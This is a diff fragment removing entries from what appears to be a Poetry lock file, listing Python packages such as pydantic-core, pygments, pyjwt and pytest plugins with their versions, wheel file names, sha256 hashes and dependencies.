-    {file = "pydantic_core-2.41.5-cp310-cp310-win_amd64.whl", hash = "sha256:62de39db01b8d593e45871af2af9e497295db8d73b085f6bfd0b18c83c70a8f9"},
-    {file = "pydantic_core-2.41.5-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:a3a52f6156e73e7ccb0f8cced536adccb7042be67cb45f9562e12b319c119da6"},
-    {file = "pydantic_core-2.41.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7f3bf998340c6d4b0c9a2f02d6a400e51f123b59565d74dc60d252ce888c260b"},
-    {file = "pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:378bec5c66998815d224c9ca994f1e14c0c21cb95d2f52b6021cc0b2a58f2a5a"},
-    {file = "pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e7b576130c69225432866fe2f4a469a85a54ade141d96fd396dffcf607b558f8"},
-    {file = "pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6cb58b9c66f7e4179a2d5e0f849c48eff5c1fca560994d6eb6543abf955a149e"},
-    {file = "pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:88942d3a3dff3afc8288c21e565e476fc278902ae4d6d134f1eeda118cc830b1"},
-    {file = "pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f31d95a179f8d64d90f6831d71fa93290893a33148d890ba15de25642c5d075b"},
-    {file = "pydantic_core-2.41.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c1df3d34aced70add6f867a8cf413e299177e0c22660cc767218373d0779487b"},
-    {file = "pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:4009935984bd36bd2c774e13f9a09563ce8de4abaa7226f5108262fa3e637284"},
-    {file = "pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:34a64bc3441dc1213096a20fe27e8e128bd3ff89921706e83c0b1ac971276594"},
-    {file = "pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c9e19dd6e28fdcaa5a1de679aec4141f691023916427ef9bae8584f9c2fb3b0e"},
-    {file = "pydantic_core-2.41.5-cp311-cp311-win32.whl", hash = "sha256:2c010c6ded393148374c0f6f0bf89d206bf3217f201faa0635dcd56bd1520f6b"},
-    {file = "pydantic_core-2.41.5-cp311-cp311-win_amd64.whl", hash = "sha256:76ee27c6e9c7f16f47db7a94157112a2f3a00e958bc626e2f4ee8bec5c328fbe"},
-    {file = "pydantic_core-2.41.5-cp311-cp311-win_arm64.whl", hash = "sha256:4bc36bbc0b7584de96561184ad7f012478987882ebf9f9c389b23f432ea3d90f"},
-    {file = "pydantic_core-2.41.5-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:f41a7489d32336dbf2199c8c0a215390a751c5b014c2c1c5366e817202e9cdf7"},
-    {file = "pydantic_core-2.41.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:070259a8818988b9a84a449a2a7337c7f430a22acc0859c6b110aa7212a6d9c0"},
-    {file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e96cea19e34778f8d59fe40775a7a574d95816eb150850a85a7a4c8f4b94ac69"},
-    {file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ed2e99c456e3fadd05c991f8f437ef902e00eedf34320ba2b0842bd1c3ca3a75"},
-    {file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:65840751b72fbfd82c3c640cff9284545342a4f1eb1586ad0636955b261b0b05"},
-    {file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e536c98a7626a98feb2d3eaf75944ef6f3dbee447e1f841eae16f2f0a72d8ddc"},
-    {file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c"},
-    {file = "pydantic_core-2.41.5-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d38548150c39b74aeeb0ce8ee1d8e82696f4a4e16ddc6de7b1d8823f7de4b9b5"},
-    {file = "pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:c23e27686783f60290e36827f9c626e63154b82b116d7fe9adba1fda36da706c"},
-    {file = "pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:482c982f814460eabe1d3bb0adfdc583387bd4691ef00b90575ca0d2b6fe2294"},
-    {file = "pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:bfea2a5f0b4d8d43adf9d7b8bf019fb46fdd10a2e5cde477fbcb9d1fa08c68e1"},
-    {file = "pydantic_core-2.41.5-cp312-cp312-win32.whl", hash = "sha256:b74557b16e390ec12dca509bce9264c3bbd128f8a2c376eaa68003d7f327276d"},
-    {file = "pydantic_core-2.41.5-cp312-cp312-win_amd64.whl", hash = "sha256:1962293292865bca8e54702b08a4f26da73adc83dd1fcf26fbc875b35d81c815"},
-    {file = "pydantic_core-2.41.5-cp312-cp312-win_arm64.whl", hash = "sha256:1746d4a3d9a794cacae06a5eaaccb4b8643a131d45fbc9af23e353dc0a5ba5c3"},
-    {file = "pydantic_core-2.41.5-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:941103c9be18ac8daf7b7adca8228f8ed6bb7a1849020f643b3a14d15b1924d9"},
-    {file = "pydantic_core-2.41.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:112e305c3314f40c93998e567879e887a3160bb8689ef3d2c04b6cc62c33ac34"},
-    {file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0cbaad15cb0c90aa221d43c00e77bb33c93e8d36e0bf74760cd00e732d10a6a0"},
-    {file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:03ca43e12fab6023fc79d28ca6b39b05f794ad08ec2feccc59a339b02f2b3d33"},
-    {file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dc799088c08fa04e43144b164feb0c13f9a0bc40503f8df3e9fde58a3c0c101e"},
-    {file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:97aeba56665b4c3235a0e52b2c2f5ae9cd071b8a8310ad27bddb3f7fb30e9aa2"},
-    {file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:406bf18d345822d6c21366031003612b9c77b3e29ffdb0f612367352aab7d586"},
-    {file = "pydantic_core-2.41.5-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b93590ae81f7010dbe380cdeab6f515902ebcbefe0b9327cc4804d74e93ae69d"},
-    {file = "pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:01a3d0ab748ee531f4ea6c3e48ad9dac84ddba4b0d82291f87248f2f9de8d740"},
-    {file = "pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:6561e94ba9dacc9c61bce40e2d6bdc3bfaa0259d3ff36ace3b1e6901936d2e3e"},
-    {file = "pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:915c3d10f81bec3a74fbd4faebe8391013ba61e5a1a8d48c4455b923bdda7858"},
-    {file = "pydantic_core-2.41.5-cp313-cp313-win32.whl", hash = "sha256:650ae77860b45cfa6e2cdafc42618ceafab3a2d9a3811fcfbd3bbf8ac3c40d36"},
-    {file = "pydantic_core-2.41.5-cp313-cp313-win_amd64.whl", hash = "sha256:79ec52ec461e99e13791ec6508c722742ad745571f234ea6255bed38c6480f11"},
-    {file = "pydantic_core-2.41.5-cp313-cp313-win_arm64.whl", hash = "sha256:3f84d5c1b4ab906093bdc1ff10484838aca54ef08de4afa9de0f5f14d69639cd"},
-    {file = "pydantic_core-2.41.5-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:3f37a19d7ebcdd20b96485056ba9e8b304e27d9904d233d7b1015db320e51f0a"},
-    {file = "pydantic_core-2.41.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1d1d9764366c73f996edd17abb6d9d7649a7eb690006ab6adbda117717099b14"},
-    {file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:25e1c2af0fce638d5f1988b686f3b3ea8cd7de5f244ca147c777769e798a9cd1"},
-    {file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:506d766a8727beef16b7adaeb8ee6217c64fc813646b424d0804d67c16eddb66"},
-    {file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4819fa52133c9aa3c387b3328f25c1facc356491e6135b459f1de698ff64d869"},
-    {file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2b761d210c9ea91feda40d25b4efe82a1707da2ef62901466a42492c028553a2"},
-    {file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:22f0fb8c1c583a3b6f24df2470833b40207e907b90c928cc8d3594b76f874375"},
-    {file = "pydantic_core-2.41.5-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2782c870e99878c634505236d81e5443092fba820f0373997ff75f90f68cd553"},
-    {file = "pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:0177272f88ab8312479336e1d777f6b124537d47f2123f89cb37e0accea97f90"},
-    {file = "pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:63510af5e38f8955b8ee5687740d6ebf7c2a0886d15a6d65c32814613681bc07"},
-    {file = "pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:e56ba91f47764cc14f1daacd723e3e82d1a89d783f0f5afe9c364b8bb491ccdb"},
-    {file = "pydantic_core-2.41.5-cp314-cp314-win32.whl", hash = "sha256:aec5cf2fd867b4ff45b9959f8b20ea3993fc93e63c7363fe6851424c8a7e7c23"},
-    {file = "pydantic_core-2.41.5-cp314-cp314-win_amd64.whl", hash = "sha256:8e7c86f27c585ef37c35e56a96363ab8de4e549a95512445b85c96d3e2f7c1bf"},
-    {file = "pydantic_core-2.41.5-cp314-cp314-win_arm64.whl", hash = "sha256:e672ba74fbc2dc8eea59fb6d4aed6845e6905fc2a8afe93175d94a83ba2a01a0"},
-    {file = "pydantic_core-2.41.5-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:8566def80554c3faa0e65ac30ab0932b9e3a5cd7f8323764303d468e5c37595a"},
-    {file = "pydantic_core-2.41.5-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:b80aa5095cd3109962a298ce14110ae16b8c1aece8b72f9dafe81cf597ad80b3"},
-    {file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3006c3dd9ba34b0c094c544c6006cc79e87d8612999f1a5d43b769b89181f23c"},
-    {file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:72f6c8b11857a856bcfa48c86f5368439f74453563f951e473514579d44aa612"},
-    {file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5cb1b2f9742240e4bb26b652a5aeb840aa4b417c7748b6f8387927bc6e45e40d"},
-    {file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bd3d54f38609ff308209bd43acea66061494157703364ae40c951f83ba99a1a9"},
-    {file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2ff4321e56e879ee8d2a879501c8e469414d948f4aba74a2d4593184eb326660"},
-    {file = "pydantic_core-2.41.5-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d0d2568a8c11bf8225044aa94409e21da0cb09dcdafe9ecd10250b2baad531a9"},
-    {file = "pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:a39455728aabd58ceabb03c90e12f71fd30fa69615760a075b9fec596456ccc3"},
-    {file = "pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:239edca560d05757817c13dc17c50766136d21f7cd0fac50295499ae24f90fdf"},
-    {file = "pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:2a5e06546e19f24c6a96a129142a75cee553cc018ffee48a460059b1185f4470"},
-    {file = "pydantic_core-2.41.5-cp314-cp314t-win32.whl", hash = "sha256:b4ececa40ac28afa90871c2cc2b9ffd2ff0bf749380fbdf57d165fd23da353aa"},
-    {file = "pydantic_core-2.41.5-cp314-cp314t-win_amd64.whl", hash = "sha256:80aa89cad80b32a912a65332f64a4450ed00966111b6615ca6816153d3585a8c"},
-    {file = "pydantic_core-2.41.5-cp314-cp314t-win_arm64.whl", hash = "sha256:35b44f37a3199f771c3eaa53051bc8a70cd7b54f333531c59e29fd4db5d15008"},
-    {file = "pydantic_core-2.41.5-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:8bfeaf8735be79f225f3fefab7f941c712aaca36f1128c9d7e2352ee1aa87bdf"},
-    {file = "pydantic_core-2.41.5-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:346285d28e4c8017da95144c7f3acd42740d637ff41946af5ce6e5e420502dd5"},
-    {file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a75dafbf87d6276ddc5b2bf6fae5254e3d0876b626eb24969a574fff9149ee5d"},
-    {file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:7b93a4d08587e2b7e7882de461e82b6ed76d9026ce91ca7915e740ecc7855f60"},
-    {file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e8465ab91a4bd96d36dde3263f06caa6a8a6019e4113f24dc753d79a8b3a3f82"},
-    {file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:299e0a22e7ae2b85c1a57f104538b2656e8ab1873511fd718a1c1c6f149b77b5"},
-    {file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:707625ef0983fcfb461acfaf14de2067c5942c6bb0f3b4c99158bed6fedd3cf3"},
-    {file = "pydantic_core-2.41.5-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f41eb9797986d6ebac5e8edff36d5cef9de40def462311b3eb3eeded1431e425"},
-    {file = "pydantic_core-2.41.5-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:0384e2e1021894b1ff5a786dbf94771e2986ebe2869533874d7e43bc79c6f504"},
-    {file = "pydantic_core-2.41.5-cp39-cp39-musllinux_1_1_armv7l.whl", hash = "sha256:f0cd744688278965817fd0839c4a4116add48d23890d468bc436f78beb28abf5"},
-    {file = "pydantic_core-2.41.5-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:753e230374206729bf0a807954bcc6c150d3743928a73faffee51ac6557a03c3"},
-    {file = "pydantic_core-2.41.5-cp39-cp39-win32.whl", hash = "sha256:873e0d5b4fb9b89ef7c2d2a963ea7d02879d9da0da8d9d4933dee8ee86a8b460"},
-    {file = "pydantic_core-2.41.5-cp39-cp39-win_amd64.whl", hash = "sha256:e4f4a984405e91527a0d62649ee21138f8e3d0ef103be488c1dc11a80d7f184b"},
-    {file = "pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:b96d5f26b05d03cc60f11a7761a5ded1741da411e7fe0909e27a5e6a0cb7b034"},
-    {file = "pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:634e8609e89ceecea15e2d61bc9ac3718caaaa71963717bf3c8f38bfde64242c"},
-    {file = "pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:93e8740d7503eb008aa2df04d3b9735f845d43ae845e6dcd2be0b55a2da43cd2"},
-    {file = "pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f15489ba13d61f670dcc96772e733aad1a6f9c429cc27574c6cdaed82d0146ad"},
-    {file = "pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:7da7087d756b19037bc2c06edc6c170eeef3c3bafcb8f532ff17d64dc427adfd"},
-    {file = "pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:aabf5777b5c8ca26f7824cb4a120a740c9588ed58df9b2d196ce92fba42ff8dc"},
-    {file = "pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c007fe8a43d43b3969e8469004e9845944f1a80e6acd47c150856bb87f230c56"},
-    {file = "pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76d0819de158cd855d1cbb8fcafdf6f5cf1eb8e470abe056d5d161106e38062b"},
-    {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b5819cd790dbf0c5eb9f82c73c16b39a65dd6dd4d1439dcdea7816ec9adddab8"},
-    {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:5a4e67afbc95fa5c34cf27d9089bca7fcab4e51e57278d710320a70b956d1b9a"},
-    {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ece5c59f0ce7d001e017643d8d24da587ea1f74f6993467d85ae8a5ef9d4f42b"},
-    {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:16f80f7abe3351f8ea6858914ddc8c77e02578544a0ebc15b4c2e1a0e813b0b2"},
-    {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:33cb885e759a705b426baada1fe68cbb0a2e68e34c5d0d0289a364cf01709093"},
-    {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:c8d8b4eb992936023be7dee581270af5c6e0697a8559895f527f5b7105ecd36a"},
-    {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:242a206cd0318f95cd21bdacff3fcc3aab23e79bba5cac3db5a841c9ef9c6963"},
-    {file = "pydantic_core-2.41.5-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:d3a978c4f57a597908b7e697229d996d77a6d3c94901e9edee593adada95ce1a"},
-    {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b2379fa7ed44ddecb5bfe4e48577d752db9fc10be00a6b7446e9663ba143de26"},
-    {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:266fb4cbf5e3cbd0b53669a6d1b039c45e3ce651fd5442eff4d07c2cc8d66808"},
-    {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58133647260ea01e4d0500089a8c4f07bd7aa6ce109682b1426394988d8aaacc"},
-    {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:287dad91cfb551c363dc62899a80e9e14da1f0e2b6ebde82c806612ca2a13ef1"},
-    {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:03b77d184b9eb40240ae9fd676ca364ce1085f203e1b1256f8ab9984dca80a84"},
-    {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:a668ce24de96165bb239160b3d854943128f4334822900534f2fe947930e5770"},
-    {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:f14f8f046c14563f8eb3f45f499cc658ab8d10072961e07225e507adb700e93f"},
-    {file = "pydantic_core-2.41.5-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:56121965f7a4dc965bff783d70b907ddf3d57f6eba29b6d2e5dabfaf07799c51"},
-    {file = "pydantic_core-2.41.5.tar.gz", hash = "sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e"},
-]
-
-[package.dependencies]
-typing-extensions = ">=4.14.1"
-
-[[package]]
-name = "pygments"
-version = "2.20.0"
-description = "Pygments is a syntax highlighting package written in Python."
-optional = false
-python-versions = ">=3.9"
-groups = ["main", "dev", "docs"]
-files = [
-    {file = "pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176"},
-    {file = "pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f"},
-]
-
-[package.extras]
-windows-terminal = ["colorama (>=0.4.6)"]
-
-[[package]]
-name = "pyjwt"
-version = "2.12.1"
-description = "JSON Web Token implementation in Python"
-optional = false
-python-versions = ">=3.9"
-groups = ["main"]
-files = [
-    {file = "pyjwt-2.12.1-py3-none-any.whl", hash = "sha256:28ca37c070cad8ba8cd9790cd940535d40274d22f80ab87f3ac6a713e6e8454c"},
-    {file = "pyjwt-2.12.1.tar.gz", hash = "sha256:c74a7a2adf861c04d002db713dd85f84beb242228e671280bf709d765b03672b"},
-]
-
-[package.dependencies]
-typing_extensions = {version = ">=4.0", markers = "python_version < \"3.11\""}
-
-[package.extras]
-crypto = ["cryptography (>=3.4.0)"]
-dev = ["coverage[toml] (==7.10.7)", "cryptography (>=3.4.0)", "pre-commit", "pytest (>=8.4.2,<9.0.0)", "sphinx", "sphinx-rtd-theme", "zope.interface"]
-docs = ["sphinx", "sphinx-rtd-theme", "zope.interface"]
-tests = ["coverage[toml] (==7.10.7)", "pytest (>=8.4.2,<9.0.0)"]
-
-[[package]]
-name = "pymdown-extensions"
-version = "10.21.3"
-description = "Extension pack for Python Markdown."
-optional = false
-python-versions = ">=3.9"
-groups = ["dev", "docs"]
-files = [
-    {file = "pymdown_extensions-10.21.3-py3-none-any.whl", hash = "sha256:d7a5d08014fc571e80ca21dd6f854e31f94c489800350564d55d15b3c41e76b6"},
-    {file = "pymdown_extensions-10.21.3.tar.gz", hash = "sha256:72cfcf55f07aea0d4af2c4f11dd4e52466ddfb1bb819673146398e0bd3a77354"},
-]
-
-[package.dependencies]
-markdown = ">=3.6"
-pyyaml = "*"
-
-[package.extras]
-extra = ["pygments (>=2.19.1)"]
-
-[[package]]
-name = "pyparsing"
-version = "3.3.2"
-description = "pyparsing - Classes and methods to define and execute parsing grammars"
-optional = false
-python-versions = ">=3.9"
-groups = ["docs"]
-files = [
-    {file = "pyparsing-3.3.2-py3-none-any.whl", hash = "sha256:850ba148bd908d7e2411587e247a1e4f0327839c40e2e5e6d05a007ecc69911d"},
-    {file = "pyparsing-3.3.2.tar.gz", hash = "sha256:c777f4d763f140633dcb6d8a3eda953bf7a214dc4eff598413c070bcdc117cbc"},
-]
-
-[package.extras]
-diagrams = ["jinja2", "railroad-diagrams"]
-
-[[package]]
-name = "pytest"
-version = "9.1.0"
-description = "pytest: simple powerful testing with Python"
-optional = false
-python-versions = ">=3.10"
-groups = ["dev"]
-files = [
-    {file = "pytest-9.1.0-py3-none-any.whl", hash = "sha256:8ebb0e7888bdf2bdfc602ec51f8f62d50200af37356c74e503c79a94f5c81f32"},
-    {file = "pytest-9.1.0.tar.gz", hash = "sha256:41dd9148c08072446394cefd3d79701701335a9f4cae69ba92e39f6c7f5c061c"},
-]
-
-[package.dependencies]
-colorama = {version = ">=0.4", markers = "sys_platform == \"win32\""}
-exceptiongroup = {version = ">=1", markers = "python_version < \"3.11\""}
-iniconfig = ">=1.0.1"
-packaging = ">=22"
-pluggy = ">=1.5,<2"
-pygments = ">=2.7.2"
-tomli = {version = ">=1", markers = "python_version < \"3.11\""}
-
-[package.extras]
-dev = ["argcomplete", "attrs (>=19.2)", "hypothesis (>=3.56)", "mock", "requests", "setuptools", "xmlschema"]
-
-[[package]]
-name = "pytest-asyncio"
-version = "1.4.0"
-description = "Pytest support for asyncio"
-optional = false
-python-versions = ">=3.10"
-groups = ["dev"]
-files = [
-    {file = "pytest_asyncio-1.4.0-py3-none-any.whl", hash = "sha256:933ca923a23075a87fb7070c0ec272a6848489824d887c85c812670932835aa1"},
-    {file = "pytest_asyncio-1.4.0.tar.gz", hash = "sha256:c6c0d2259945122819f171a32ecea2c349ead889ee28176caaf492143424be42"},
-]
-
-[package.dependencies]
-backports-asyncio-runner = {version = ">=1.1,<2", markers = "python_version < \"3.11\""}
-pytest = ">=8.4,<10"
-typing-extensions = {version = ">=4.12", markers = "python_version < \"3.13\""}
-
-[package.extras]
-docs = ["sphinx (>=5.3)", "sphinx-rtd-theme (>=1)", "sphinx-tabs (>=3.5)"]
-testing = ["coverage (>=6.2)", "hypothesis (>=5.7.1)"]
-
-[[package]]
-name = "pytest-benchmark"
-version = "5.2.3"
-description = "A ``pytest`` fixture for benchmarking code. It will group the tests into rounds that are calibrated to the chosen timer."
-optional = false
-python-versions = ">=3.9"
-groups = ["dev"]
-files = [
-    {file = "pytest_benchmark-5.2.3-py3-none-any.whl", hash = "sha256:bc839726ad20e99aaa0d11a127445457b4219bdb9e80a1afc4b51da7f96b0803"},
-    {file = "pytest_benchmark-5.2.3.tar.gz", hash = "sha256:deb7317998a23c650fd4ff76e1230066a76cb45dcece0aca5607143c619e7779"},
-]
-
-[package.dependencies]
-py-cpuinfo = "*"
-pytest = ">=8.1"
-
-[package.extras]
-aspect = ["aspectlib"]
-elasticsearch = ["elasticsearch"]
-histogram = ["pygal", "pygaljs", "setuptools"]
-
-[[package]]
-name = "pytest-cov"
-version = "7.0.0"
-description = "Pytest plugin for measuring coverage."
-optional = false
-python-versions = ">=3.9"
-groups = ["dev"]
-files = [
-    {file = "pytest_cov-7.0.0-py3-none-any.whl", hash = "sha256:3b8e9558b16cc1479da72058bdecf8073661c7f57f7d3c5f22a1c23507f2d861"},
-    {file = "pytest_cov-7.0.0.tar.gz", hash = "sha256:33c97eda2e049a0c5298e91f519302a1334c26ac65c1a483d6206fd458361af1"},
-]
-
-[package.dependencies]
-coverage = {version = ">=7.10.6", extras = ["toml"]}
-pluggy = ">=1.2"
-pytest = ">=7"
-
-[package.extras]
-testing = ["process-tests", "pytest-xdist", "virtualenv"]
-
-[[package]]
-name = "pytest-env"
-version = "1.1.5"
-description = "pytest plugin that allows you to add environment variables."
-optional = false
-python-versions = ">=3.8"
-groups = ["dev"]
-files = [
-    {file = "pytest_env-1.1.5-py3-none-any.whl", hash = "sha256:ce90cf8772878515c24b31cd97c7fa1f4481cd68d588419fd45f10ecaee6bc30"},
-    {file = "pytest_env-1.1.5.tar.gz", hash = "sha256:91209840aa0e43385073ac464a554ad2947cc2fd663a9debf88d03b01e0cc1cf"},
-]
-
-[package.dependencies]
-pytest = ">=8.3.3"
-tomli = {version = ">=2.0.1", markers = "python_version < \"3.11\""}
-
-[package.extras]
-testing = ["covdefaults (>=2.3)", "coverage (>=7.6.1)", "pytest-mock (>=3.14)"]
-
-[[package]]
-name = "pytest-httpserver"
-version = "1.1.4"
-description = "pytest-httpserver is a httpserver for pytest"
-optional = false
-python-versions = ">=3.10"
-groups = ["dev"]
-files = [
-    {file = "pytest_httpserver-1.1.4-py3-none-any.whl", hash = "sha256:5dc73beae8cef139597cfdaab1b7f6bfe3551dd80965a6039e08498796053331"},
-    {file = "pytest_httpserver-1.1.4.tar.gz", hash = "sha256:4d357402ae7e141f3914ed7cd25f3e24746ae928792dad60053daee4feae81fc"},
-]
-
-[package.dependencies]
-Werkzeug = ">=2.0.0"
-
-[[package]]
-name = "pytest-httpx"
-version = "0.36.2"
-description = "Send responses to httpx."
-optional = false
-python-versions = ">=3.10"
-groups = ["dev"]
-files = [
-    {file = "pytest_httpx-0.36.2-py3-none-any.whl", hash = "sha256:d42ebd5679442dc7bfb0c48e0767b6562e9bc4534d805127b0084171886a5e22"},
-    {file = "pytest_httpx-0.36.2.tar.gz", hash = "sha256:05a56527484f7f4e8c856419ea379b8dc359c36801c4992fdb330f294c690356"},
-]
-
